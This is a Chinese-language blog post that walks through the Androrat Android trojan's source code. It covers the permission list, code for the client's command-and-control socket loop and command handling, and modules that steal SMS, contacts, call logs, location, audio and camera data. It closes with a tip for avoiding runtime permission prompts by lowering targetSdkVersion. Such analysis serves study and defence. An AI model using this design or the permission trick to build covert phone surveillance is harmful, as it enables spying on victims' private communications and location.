Android木马——Androrat源码解析
Androrat原本是一个对Android设备进行远程管理的工具,相当于是一个木马程序。
Androrat的工作模式是C/S模式。在Android设备上安装Androrat的Client端,在服务器上配置Server端。Client端循环捕获从Client发送的指令,并做相应的操作,完成之后返回给Server数据,Server端负责展示接收的数据。
因此,Client端需要配置Server端的ip和port,配置相应的权限(Android API 23以上需要动态申请权限),开启服务Service。
主要功能
- 获取通讯录信息
- 获取呼叫记录
- 获取短信和彩信
- 通过 GPS 获取定位
- 实时监控接收到的短信
- 监控手机的呼叫状态
- 拍照
- 获取来自麦克风的声音信息
- 视频
- 弹窗
- 发送文本消息
- 拨号
- 在浏览器中打开某个网址
- 震动
Androrat 核心模块
Android端需申请的权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
从上面可知,这些权限包括通话、短信,相机,联网,位置,录音,读写,开机启动,通讯录等。在兼容Android API 23以上版本时,需要添加权限检测及动态权限申请逻辑方可正常使用。
LauncherActivity
此类为启动类,主要职责是开启Client服务。Client端手动配置IP和Port。
Client = new Intent(this, Client.class);
Client.setAction(LauncherActivity.class.getName());
btnStart.setOnClickListener(new View.OnClickListener() {
public void onClick(View view) {
Client.putExtra("IP", ipfield.getText().toString());
Client.putExtra("PORT", new Integer(portfield.getText().toString()));
startService(Client);
btnStart.setEnabled(false);
btnStop.setEnabled(true);
//finish();
}
});
Client
onCreate()方法实例化SystemInfo、ProcessCommand类。
public void onCreate() {
Log.i(TAG, "In onCreate");
infos = new SystemInfo(this);
procCmd = new ProcessCommand(this);
loadPreferences();
}
SystemInfo类:获取设备基本信息;
ProcessCommand类:处理从Server端发来的指令;
loadPreferences():初始化ip、port,设置通话白名单、短信白名单和短信内容关键字拦截等。
onStartCommand()内代码太长,此处分步解析。
从Intent中获取ip,port。
f(intent == null)
return START_STICKY;
String who = intent.getAction();
Log.i(TAG, "onStartCommand by: "+ who);
if (intent.hasExtra("IP"))
this.ip = intent.getExtras().getString("IP");
if (intent.hasExtra("PORT"))
this.port = intent.getExtras().getInt("PORT");
监听广播,建立client与server端连接,发送设备基本信息。具体逻辑已在源码中//注释。
if(!isRunning) {
//广播监听网络变化
IntentFilter filterc = new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE");
registerReceiver(ConnectivityCheckReceiver, filterc);
isRunning = true;
//Connection负责通过socket与server端连接
conn = new Connection(ip,port,this);
if(waitTrigger) {
//注册来电、短信监听
registerSMSAndCall();
}else {
Log.i(TAG,"Try to connect to "+ip+":"+port);
if(conn.connect()) {
//实例化CommandPacket,处理服务端指令
packet = new CommandPacket();
//异步循环捕获server发出的指令,之后在Handler中处理指令
readthread = new Thread(new Runnable() {
public void run() {
waitInstruction();
}
});
readthread.start();
//给server端发送设备基本信息
CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
handleData(0,pack.build());
//gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4);
isListening = true;
if(waitTrigger) {
//若已设置来电、短信监听触发client服务启动,则此处无需监听,可断开
unregisterReceiver(SMSreceiver);
unregisterReceiver(Callreceiver);
waitTrigger = false;
}
}else {
if(isConnected) {
//重设,重连
resetConnectionAttempts();
reconnectionAttempts();
}else {
Log.w(TAG,"Not Connected wait a Network update");
}
}
}
}
isRunning为false的分支逻辑相似,连接服务器、获取指令,重连(无重设)。
waitInstruction()方法循环捕获从server端发来的指令。
public void waitInstruction() {
try {
for(;;) {
if(stop){
break;
}
//接收服务器指令
conn.getInstruction() ;
}
}catch(Exception e) {
isListening = false;
resetConnectionAttempts();
reconnectionAttempts();
if(waitTrigger) {
registerSMSAndCall();
}
}
}
Connection类的getInstruction()方法:读取缓冲区数据并解码。
public ByteBuffer getInstruction() throws Exception{
readInstruction = receive.read();
if(dem.receive(readInstruction)){
readInstruction.compact();
}else{
readInstruction.clear();
}
return readInstruction;
}
waitInstruction()所在线程捕获指令后,通过接口回调给Handler发送数据。
@Override
public void Storage(TransportPacket p, String i) {
try{
packet = new CommandPacket();
packet.parse(p.getData());
Message mess = new Message();
Bundle b = new Bundle();
b.putShort("command", packet.getCommand());
b.putByteArray("arguments", packet.getArguments());
b.putInt("chan", packet.getTargetChannel());
mess.setData(b);
handler.sendMessage(mess);
}catch(Exception e){
System.out.println("Androrat.Client.storage : pas une commande");
}
}
Handler接收数据
private Handler handler = new Handler() {
public void handleMessage(Message msg) {
Bundle b = msg.getData();
processCommand(b);
}
};
processCommand()方法中调用ProcessCommand类的process()方法匹配对应指令并处理
public void processCommand(Bundle b){
try{
procCmd.process(b.getShort("command"),b.getByteArray("arguments"),b.getInt("chan"));
}catch(Exception e) {
sendError("Error on Client:"+e.getMessage());
}
}
ProcessCommand类的process()就是if-else判断不同指令并做相应处理。
Library包介绍
- SystemInfo:获取设备的基本信息;
- AdvancedSystemInfo:获取设备的一些详细信息,点击设备项之后会看到的信息;
- SMSLister:列举手机里的短信;
- SMSMonitor:实时监控手机来短信;
- CallLogLister:获取通话记录;
- CallMonitor:实时监控手机的来电去电状态;
- ContactsLister:获取手机通讯录;
- DirLister:列举外部设备的文件目录;
- FileDownloader:读取这些文件的内容然后发送给服务器端展示;
- PhotoTaker:拍照;
- AudioStreamer:获取媒体数据流;
- GPSListener:实时获取设备的精确位置;
绕过动态权限申请的小窍门
突然发现该源码中的Androrat.apk运行在 Android 8.0手机上可以绕过权限动态申请。反编译该apk后发现,其targetSdkVersion设置< 23了。。。。。
补充知识点:
targetSdkVersion 是 Android 系统提供前向兼容的主要手段。随着 Android 系统的升级,某个系统的 API 或者模块的行为可能会发生改变,但只要 APK 的 targetSdkVersion 不变,即使这个 APK 安装在新 Android 系统上,其行为还是保持老的系统上的行为,这样就保证了系统对老应用的前向兼容性。
所以,如果要绕过动态权限申请,可以设置targetSdkVersion < 23 ,但是同时也意味着妳的APP将无法使用最新的API的特性。